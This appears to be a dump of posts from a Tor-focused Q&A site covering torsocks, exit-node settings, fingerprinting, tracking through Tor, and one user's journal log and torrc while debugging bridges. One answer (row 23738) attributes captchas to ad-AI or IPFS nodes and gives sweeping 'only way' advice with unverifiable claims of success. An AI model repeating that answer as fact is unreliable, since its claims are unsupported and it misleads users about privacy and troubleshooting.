  <row Id="23715" PostTypeId="2" ParentId="23709" CreationDate="2023-04-24T14:05:37.233" Score="0" Body="&lt;p&gt;You are inserting the lines with a &lt;code&gt;#&lt;/code&gt; symbol - which is a comment till the end of line, so just do it without it and it will be fine. In most of the documents the &lt;code&gt;#&lt;/code&gt; symbol is used to focus on the fact that it has to be done from the root user, so &lt;code&gt;sudo -s&lt;/code&gt; will provide you such an access level&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-24T14:05:37.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23716" PostTypeId="2" ParentId="23710" CreationDate="2023-04-24T15:22:34.270" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;I'd rather use just a VPN - it will provide an equal privacy without an overhead. After that - yes, you can use a bridge &lt;em&gt;through&lt;/em&gt; VPN to connect to Tor network, it may add some anonymity to you.&lt;/li&gt;&#xA;&lt;li&gt;Quite a lot! It depends on specific situation that you're experiencing&lt;/li&gt;&#xA;&lt;li&gt;Always :) The question is - how laborious it is&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-24T15:22:34.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23718" PostTypeId="1" CreationDate="2023-04-24T22:12:48.883" Score="0" ViewCount="61" Body="&lt;p&gt;I have used &lt;code&gt;torify&lt;/code&gt; for a while to ad hoc route the traffic of certain applications through Tor and just today noticed that the man page suggests using &lt;code&gt;torsocks&lt;/code&gt; instead. Reading through the &lt;code&gt;torsocks(1)&lt;/code&gt; man page I see the ability to do &lt;code&gt;torsocks on&lt;/code&gt; and &lt;code&gt;torsocks off&lt;/code&gt; to “encapsulate” a larger section of commands instead of having to preface each individual call with &lt;code&gt;torsocks&lt;/code&gt; (or &lt;code&gt;torify&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;However. The given &lt;code&gt;. torsocks on|off&lt;/code&gt; (or using &lt;code&gt;source&lt;/code&gt; instead of the shorthand &lt;code&gt;.&lt;/code&gt;) is not working in &lt;code&gt;dash&lt;/code&gt; or in &lt;code&gt;fish&lt;/code&gt; and seems to be relying on behaviour that appears to be specific to &lt;code&gt;bash&lt;/code&gt; and &lt;code&gt;zsh&lt;/code&gt; (though I didn’t test in other shells than these four).&lt;/p&gt;&#xA;&lt;p&gt;I’ve used this simple script to test it with the various shells, changing the first line to whichever shell I was trying:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/dash&#xA;source torsocks on&#xA;torsocks show&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a way to source &lt;code&gt;torsocks on|off&lt;/code&gt; in a shell that doesn’t do whatever it is bash/zsh is doing here?&lt;/p&gt;&#xA;" OwnerUserId="38350" LastActivityDate="2023-04-26T19:06:57.070" Title="Sourcing “torsocks on” in fish and dash shells" Tags="|linux|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23720" PostTypeId="1" CreationDate="2023-04-25T22:20:22.303" Score="0" ViewCount="189" Body="&lt;p&gt;I have seen a situation where I'm on non-onion website and the exit node jumps while the site is loading.  If I hit the &amp;quot;New Circuit for this Site&amp;quot; button, the exit node starts in RO and then jumps 2+ times to some non RO exit node before it finishes.  Have I got the code wrong (see below) in Torrc?&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&lt;p&gt;GeoIPExcludeUnknown 1&lt;/p&gt;&#xA;&lt;p&gt;ExitNodes {RO}&lt;/p&gt;&#xA;&lt;p&gt;StrictNodes 1&lt;/p&gt;&#xA;&lt;p&gt;Edit:  It appears that the jumps in exit node occur AFTER the site is loaded.  This does not occur on all websites.&lt;/p&gt;&#xA;" OwnerUserId="38356" LastEditorUserId="38356" LastEditDate="2023-04-26T15:57:32.140" LastActivityDate="2023-04-26T19:03:45.933" Title="Exit Node Jumping While Using StrictNodes in Torrc" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23722" PostTypeId="2" ParentId="23720" CreationDate="2023-04-26T19:03:45.933" Score="0" Body="&lt;p&gt;Well, as it said in &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#StrictNodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;official docs&lt;/a&gt; - I'm citing:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If StrictNodes is set to 1, Tor will treat solely the ExcludeNodes option as a requirement to follow for all the circuits you generate, even if doing so will break functionality for you (StrictNodes applies to neither ExcludeExitNodes nor to ExitNodes, nor to MiddleNodes).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-26T19:03:45.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23724" PostTypeId="2" ParentId="23718" CreationDate="2023-04-26T19:06:57.070" Score="0" Body="&lt;p&gt;Fish and Dash are specifically tailored shells, so quite a lot of functionality is trimmed or removed there. Just use a regular bash - this is &lt;strong&gt;that&lt;/strong&gt; simple. In case of the embedded platform - where you're short in resources - just compile a C/C++ code to do so and save even more resources fulfilling the task, that's it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-26T19:06:57.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23728" PostTypeId="1" CreationDate="2023-04-29T14:40:46.170" Score="2" ViewCount="336" Body="&lt;p&gt;I've just moved from Brave to Tor Browser, because YouTube has been able to track me for the last little while, even though I deleted cookies, USING A VPN, etc.. (Adding recommendations of channels I haven't watched in weeks. Imagine a 90% English feed with 10% recommendations of local news channels I watch from time to time.) It once recommended me a channel that I last watched, BEFORE reinstalling my PC. And its not like I was looking up similar topics or something. Imagine your watching 4 coding tutorials, your recommendations are full with coding tutorials and YouTube is recommending you a baseball video all of a sudden.&lt;/p&gt;&#xA;&lt;p&gt;So I started up Tor. BUT THE SAME RESULT! YouTube gives me 50% English and 50% of my native language. Most of them are channels I watch btw. When going to google.com the side was in another language (the one I was routing my traffic through.)&lt;/p&gt;&#xA;&lt;p&gt;What black magic is google using to track me?&#xA;(Using Win10, en-US)&lt;/p&gt;&#xA;&lt;p&gt;Edit: I just tried Tails, but got similar YouTube results. So it seems to be some kind of hardware identification??&lt;/p&gt;&#xA;" OwnerDisplayName="user38365" LastEditorDisplayName="user38365" LastEditDate="2023-04-29T15:04:24.323" LastActivityDate="2023-05-01T13:49:25.750" Title="Google is able to track me through Tor" Tags="|windows|google|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23729" PostTypeId="2" ParentId="23728" CreationDate="2023-05-01T13:49:25.750" Score="1" Body="&lt;p&gt;Hardware fingerprinting is used, but like that. And your setup and case sounds like a login leak: i.e. you've logged in somewhere like in Google/Youtube and it keeps tracking you. That's why a disposable VM is the only way to be 101% ensured that this kind of situation will never happen. Use Qubes OS with it's disposable VM's feature or a VirtualBox - but you will need to make some scripts to start a new &lt;strong&gt;blank&lt;/strong&gt; disposable VM for you&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-05-01T13:49:25.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23738" PostTypeId="2" ParentId="23471" CreationDate="2023-05-06T00:01:00.660" Score="0" Body="&lt;p&gt;Actually, it's not Tor-related at all! The truth is that these captchas e.t.c. are at the places where the AI is struck to classify you good enough to make an Ad list suitable for you OR/AND when you're threatening CDN censorship by running an IPFS node. This is based on 10+ years of my research and more than 500 cases when I helped innocent people to evade tracking and censorship. To destroy these detectors there's &lt;strong&gt;only&lt;/strong&gt; one way - &lt;em&gt;just&lt;/em&gt; to do these steps on &lt;em&gt;every&lt;/em&gt; device you have:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install IPFS node &lt;strong&gt;and&lt;/strong&gt; make it working via IPFS companion open-source add-on at least. Also there's an optional setting that you must enable - it's disabled by default - to cache &lt;strong&gt;and&lt;/strong&gt; store &lt;strong&gt;and&lt;/strong&gt; serve &lt;em&gt;just&lt;/em&gt; the resources you have downloaded and/or used yourself&lt;/li&gt;&#xA;&lt;li&gt;Install and run &lt;strong&gt;continiously&lt;/strong&gt; nodes for Tor, I2P - at least on a legacy server board or a basic modern one at least at your home, it's not mandatory to run it on mobile devices because of the battery and security. It's not a requirement to run an exit node for Tor! Just a middle one with ORPort and DirPort reachable&lt;/li&gt;&#xA;&lt;li&gt;Set up the WireGuard at your home and use it on all your mobile devices - with a static IP from your ISP. &lt;strong&gt;Never ever use any DynDNS/DDNS service&lt;/strong&gt; Ever!&lt;/li&gt;&#xA;&lt;li&gt;Set up and run a mesh node for Yggdrasil and cjDNS, run them &lt;strong&gt;continiously&lt;/strong&gt; at least at home at the board I've mentioned above&lt;/li&gt;&#xA;&lt;li&gt;Run a rTorrent client - just for DHT expansion - it is as light as a feather&lt;/li&gt;&#xA;&lt;li&gt;Install AdNauseam - the one that defeated Google's Ads AI - &lt;a href=&quot;https://www.bleepingcomputer.com/news/google/google-bans-adnauseam-from-chrome-the-ad-blocker-that-clicks-on-all-ads/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bleepingcomputer.com/news/google/google-bans-adnauseam-from-chrome-the-ad-blocker-that-clicks-on-all-ads/&lt;/a&gt; and use it in every browser that is working with it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I'm running a project that saved people's lives - literally - and it's working! The longest ride and a most unexpectable one was when a man from Washington, USA - has actually came to visit me and say thanks personally to me in Moscow, Russia...&lt;/p&gt;&#xA;&lt;p&gt;If you need deeper instructions on how to do the things I've mentioned upstrings - just drop me a line! But this issue, described in a question, is not related to Tor at all!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-05-06T00:01:00.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23739" PostTypeId="1" CreationDate="2023-05-07T05:17:35.460" Score="1" ViewCount="81" Body="&lt;p&gt;Could tiling window managers fingerprint users and render letter-boxing useless?&lt;/p&gt;&#xA;&lt;p&gt;Tiling WM change and resize windows suddenly and move them around in a grid. The resize behavior is different than the resize in Desktop Environments.&lt;/p&gt;&#xA;&lt;p&gt;Is it discouraged to use tor in tiling WM?&lt;/p&gt;&#xA;" OwnerUserId="38405" LastActivityDate="2023-05-09T14:36:30.970" Title="Possible fingerprinting for tiling window managers" Tags="|linux|fingerprinting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23740" PostTypeId="2" ParentId="23554" CreationDate="2023-05-09T10:42:14.910" Score="3" Body="&lt;p&gt;After running:&#xA;sudo sed -i 's|self.language =.*|self.language = &amp;quot;ALL&amp;quot;|g' /usr/lib/python3/dist-packages/torbrowser_launcher/common.py&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor-browser downloads OK (Downloading Tor Browser for the first time) but fails to install / launch -&amp;gt; Sorry, Ubuntu 22.04 has experienced an internal error (Installing hangs)&lt;/li&gt;&#xA;&lt;li&gt;Show details (Authentication required)&lt;/li&gt;&#xA;&lt;li&gt;Title -&amp;gt; torbrowser-launcher crashed with FileNotFoundError...blah blah blah...'home/username/.local/share/torbrowser/tbb/x86_64/tor-browser_ALL/Browser/TorBrowser/Docs/Changelog.txt&lt;/li&gt;&#xA;&lt;li&gt;Go to your Home-folder and Show Hidden Files&lt;/li&gt;&#xA;&lt;li&gt;Check the folder path described for the missing file (Changelog.txt)&lt;/li&gt;&#xA;&lt;li&gt;THE FOLDER STRUCTURE IS WRONG! There is no &amp;quot;tor-browser_ALL&amp;quot; directory but &amp;quot;tor-browser&amp;quot; instead.&lt;/li&gt;&#xA;&lt;li&gt;Create the new folder 'home/username/.local/share/torbrowser/tbb/x86_64/tor-browser_ALL (SHIFT+CTRL+N)&lt;/li&gt;&#xA;&lt;li&gt;In the directory 'home/username/.local/share/torbrowser/tbb/x86_64 you should now have two folders: The original tor-browser folder and the tor-browser_ALL folder just created&lt;/li&gt;&#xA;&lt;li&gt;Copy all the contents of tor-browser to tor-browser_ALL&lt;/li&gt;&#xA;&lt;li&gt;Re-launch the Tor browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="38415" LastActivityDate="2023-05-09T10:42:14.910" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23741" PostTypeId="2" ParentId="23739" CreationDate="2023-05-09T14:36:30.970" Score="0" Body="&lt;p&gt;It depends on &lt;em&gt;how&lt;/em&gt; you're resizing the window. If it's a VM client that &lt;strong&gt;does not&lt;/strong&gt; escalate the resize event and just resizes it's own viewport - then it's OK to use them. If it's a browser window directly - well, yes: it can be used for fingerprinting like you see it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-05-09T14:36:30.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23742" PostTypeId="1" CreationDate="2023-05-12T08:05:27.157" Score="0" ViewCount="189" Body="&lt;p&gt;I set up in Tor Browser Exitnodes {lu} StrictNodes 1 and it works very well on all websites. But when I go to one website where they have cloudflare, I will see the &amp;quot;Checking If The Site Connection is Secure&amp;quot; screen. That's okay, but when I give New Tor Circuit for this site, IP address Luxembourg will jump for a few seconds, but then it will immediately disappear and join another country. Why do it?&lt;/p&gt;&#xA;" OwnerUserId="38425" LastActivityDate="2023-05-12T08:05:27.157" Title="Cloudflare changes my Tor Exit Node" Tags="|tor-browser-bundle|configuration|exit-relays|identity-change|cloudflare|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23743" PostTypeId="1" CreationDate="2023-05-14T01:11:54.500" Score="0" ViewCount="85" Body="&lt;p&gt;Tor isn't fully starting nor bootstrapping! and connections keeps on throwing time-out errors...&lt;/p&gt;&#xA;&lt;h3&gt;journalctl -xeu tor@default.service&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;May 13 20:34:56 ZDei systemd[29470]: tor@default.service: Executing: /usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.294 [notice] Tor 0.4.7.13 running on Linux with Libevent 2.1.12-stable, OpenSSL 3.0.2, Zlib 1.2.11, Liblzma 5.2.5, Libzstd 1.4.8 and Glibc 2.35 as libc.&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.294 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://support.torproject.org/faq/staying-anonymous/&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.294 [notice] Read configuration file &amp;quot;/usr/share/tor/tor-service-defaults-torrc&amp;quot;.&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.294 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.296 [notice] Opening Socks listener on 127.0.0.1:&amp;lt;hidden&amp;gt;&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.296 [notice] Opened Socks listener connection (ready) on 127.0.0.1:90605&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.296 [notice] Opening HTTP tunnel listener on 127.0.0.1:&amp;lt;hidden&amp;gt;&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.296 [notice] Opened HTTP tunnel listener connection (ready) on 127.0.0.1:&amp;lt;hidden&amp;gt;&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.296 [notice] Opening Control listener on 127.0.0.1:&amp;lt;hidden&amp;gt;&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.296 [notice] Opened Control listener connection (ready) on 127.0.0.1:&amp;lt;hidden&amp;gt;&#xA;May 13 20:34:56 ZDei systemd[1]: tor@default.service: Got notification message from PID 29470 (MAINPID=29470)&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.000 [notice] Parsing GEOIP IPv4 file /var/lib/tor/geoip.&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.000 [notice] Parsing GEOIP IPv6 file /var/lib/tor/geoip6.&#xA;May 13 20:34:56 ZDei tor[29470]: May 13 20:34:56.000 [notice] Bootstrapped 0% (starting): Starting&#xA;May 13 20:34:57 ZDei tor[29470]: May 13 20:34:57.000 [notice] Starting with guard context &amp;quot;bridges&amp;quot;&#xA;May 13 20:34:57 ZDei tor[29470]: May 13 20:34:57.000 [notice] Delaying directory fetches: No running bridges&#xA;May 13 20:34:57 ZDei tor[29470]: May 13 20:34:57.000 [notice] Bridge '&amp;lt;hidden&amp;gt;' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (&amp;lt;hidden&amp;gt;) based on the configured Bridge address.&#xA;May 13 20:34:57 ZDei tor[29470]: May 13 20:34:57.000 [notice] new bridge descriptor '&amp;lt;hidden&amp;gt;' (cached): &amp;lt;hidden&amp;gt; [&amp;lt;hidden&amp;gt;] at &amp;lt;hidden&amp;gt; and [&amp;lt;hidden&amp;gt;]&#xA;May 13 20:34:57 ZDei tor[29470]: May 13 20:34:57.000 [notice] Bridge '&amp;lt;hidden&amp;gt;' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (&amp;lt;hidden&amp;gt;) based on the configured Bridge address.&#xA;May 13 20:34:57 ZDei tor[29470]: May 13 20:34:57.000 [notice] new bridge descriptor '&amp;lt;hidden&amp;gt;' (cached): &amp;lt;hidden&amp;gt; [&amp;lt;hidden&amp;gt;] at &amp;lt;hidden&amp;gt; and [&amp;lt;hidden&amp;gt;]&#xA;May 13 20:34:57 ZDei tor[29470]: May 13 20:34:57.000 [notice] Signaled readiness to systemd&#xA;May 13 20:34:57 ZDei systemd[1]: tor@default.service: Got notification message from PID 29470 (READY=1)&#xA;May 13 20:34:57 ZDei systemd[1]: tor@default.service: Changed start -&amp;gt; running&#xA;May 13 20:34:57 ZDei systemd[1]: tor@default.service: Job 23707 tor@default.service/start finished, result=done&#xA;May 13 20:34:57 ZDei systemd[1]: Started Anonymizing overlay network for TCP.&#xA;░░ Subject: A start job for unit tor@default.service has finished successfully&#xA;░░ Defined-By: systemd&#xA;░░ Support: http://www.ubuntu.com/support&#xA;░░ &#xA;░░ A start job for unit tor@default.service has finished successfully.&#xA;░░ &#xA;░░ The job identifier is 23707.&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Opening Control listener on /run/tor/control&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Opened Control listener connection (ready) on /run/tor/control&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Your application (using socks5 to port 443) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Your application (using socks5 to port 443) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Your application (using socks5 to port 80) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:58 ZDei tor[29470]: May 13 20:34:58.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Your application (using socks5 to port 443) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Your application (using socks5 to port 443) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Your application (using socks5 to port 80) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Your application (using socks5 to port 443) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:34:59 ZDei tor[29470]: May 13 20:34:59.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:00 ZDei tor[29470]: May 13 20:35:00.000 [notice] Your application (using socks5 to port 443) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:35:00 ZDei tor[29470]: May 13 20:35:00.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:00 ZDei tor[29470]: May 13 20:35:00.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:00 ZDei tor[29470]: May 13 20:35:00.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:00 ZDei tor[29470]: May 13 20:35:00.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:00 ZDei tor[29470]: May 13 20:35:00.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Your application (using socks5 to port 443) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Your application (using socks5 to port 80) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Your application (using socks5 to port 443) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:01 ZDei tor[29470]: May 13 20:35:01.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;May 13 20:35:05 ZDei tor[29470]: May 13 20:35:05.000 [notice] Your application (using socks5 to port 80) instructed Tor to take care of the DNS resolution itself if necessary. This is good.&#xA;&#xA;// and alot more of useless repetitive messages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;/lib/systemd/system/tor@default.service&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;[Unit]&#xA;Description=Anonymizing overlay network for TCP&#xA;After=network-online.target nss-lookup.target&#xA;PartOf=tor.service&#xA;ReloadPropagatedFrom=tor.service&#xA;&#xA;[Service]&#xA;Type=notify&#xA;NotifyAccess=all&#xA;PIDFile=/run/tor/tor.pid&#xA;PermissionsStartOnly=yes&#xA;ExecStartPre=/usr/bin/install -Z -m 02755 -o debian-tor -g debian-tor -d /run/tor&#xA;ExecStartPre=/usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc --verify-config&#xA;ExecStart=/usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc&#xA;ExecReload=/bin/kill -HUP ${MAINPID}&#xA;KillSignal=SIGINT&#xA;TimeoutStartSec=300&#xA;TimeoutStopSec=60&#xA;Restart=on-failure&#xA;LimitNOFILE=65536&#xA;StandardOutput=journal&#xA;StandardError=journal&#xA;&#xA;# Hardening&#xA;AppArmorProfile=-system_tor&#xA;NoNewPrivileges=yes&#xA;PrivateTmp=yes&#xA;PrivateDevices=yes&#xA;ProtectHome=yes&#xA;ProtectSystem=full&#xA;ReadOnlyDirectories=/&#xA;ReadWriteDirectories=-/proc&#xA;ReadWriteDirectories=-/var/lib/tor&#xA;ReadWriteDirectories=-/var/log/tor&#xA;ReadWriteDirectories=-/run&#xA;CapabilityBoundingSet=CAP_SETUID CAP_SETGID CAP_NET_BIND_SERVICE CAP_DAC_READ_SEARCH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;/etc/systemd/system/tor@default.service.d/override.conf&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;[Unit]&#xA;Before=shutdown.target&#xA;Conflicts=shutdown.target&#xA;Wants=network-pre.target nss-lookup.target ufw.service iptables.service ip6tables.service netfilter-persistent.service dhcpcd.service NetworkManager.service networkd-dispatcher.service systemd-networkd.service systemd-resolved.service NetworkManager-dispatcher.service&#xA;After=network-online.target nss-lookup.target ufw.service iptables.service ip6tables.service netfilter-persistent.service dhcpcd.service NetworkManager.service networkd-dispatcher.service systemd-networkd.service systemd-resolved.service NetworkManager-dispatcher.service&#xA;&#xA;[Service]&#xA;RestartPreventExitStatus=1&#xA;RestartForceExitStatus=SIGTERM SIGILL&#xA;RestartSec=3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;/etc/tor/torrc&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort &amp;lt;hidden&amp;gt;&#xA;HTTPTunnelPort &amp;lt;hidden&amp;gt;&#xA;ControlPort &amp;lt;hidden&amp;gt;&#xA;&#xA;#SocksPolicy accept 192.168.1.0/24&#xA;SocksPolicy accept 127.0.0.1&#xA;SocksPolicy reject *&#xA;#####&#xA;Bridge &amp;lt;hidden&amp;gt;&#xA;Bridge &amp;lt;hidden&amp;gt;&#xA;Bridge &amp;lt;hidden&amp;gt;&#xA;Bridge &amp;lt;hidden&amp;gt;&#xA;#####&#xA;ClientOnionAuthDir /var/lib/tor/onion-auth&#xA;DataDirectory /var/lib/tor&#xA;DataDirectoryGroupReadable 0&#xA;KeyDirectory /var/lib/tor/keys&#xA;KeyDirectoryGroupReadable auto&#xA;CacheDirectory /var/lib/tor/.cache&#xA;CacheDirectoryGroupReadable auto&#xA;GeoIPFile /var/lib/tor/geoip&#xA;GeoIPv6File /var/lib/tor/geoip6&#xA;UseBridges 1&#xA;#CookieAuthentication 0&#xA;KeepalivePeriod 7&#xA;ProtocolWarnings 1&#xA;SafeLogging 1&#xA;Sandbox 0&#xA;ClientDNSRejectInternalAddresses 1&#xA;ClientOnly 1&#xA;ClientUseIPv4 1&#xA;ClientUseIPv6 1&#xA;ConnectionPadding auto&#xA;DownloadExtraInfo 1&#xA;EnforceDistinctSubnets 1&#xA;NewCircuitPeriod 30&#xA;MaxCircuitDirtiness 10&#xA;SafeSocks 0&#xA;TestSocks 1&#xA;LearnCircuitBuildTimeout 1&#xA;CircuitsAvailableTimeout 7&#xA;SocksTimeout 30000&#xA;DormantOnFirstStartup 1&#xA;AvoidDiskWrites 1&#xA;ClientTransportPlugin meek_lite,obfs2,obfs3,obfs4,scramblesuit exec /var/lib/tor/PluggableTransports/obfs4proxy&#xA;ClientTransportPlugin snowflake exec /var/lib/tor/PluggableTransports/snowflake-client -url https://snowflake-broker.torproject.net.global.prod.fastly.net/ -front cdn.sstatic.net -ice 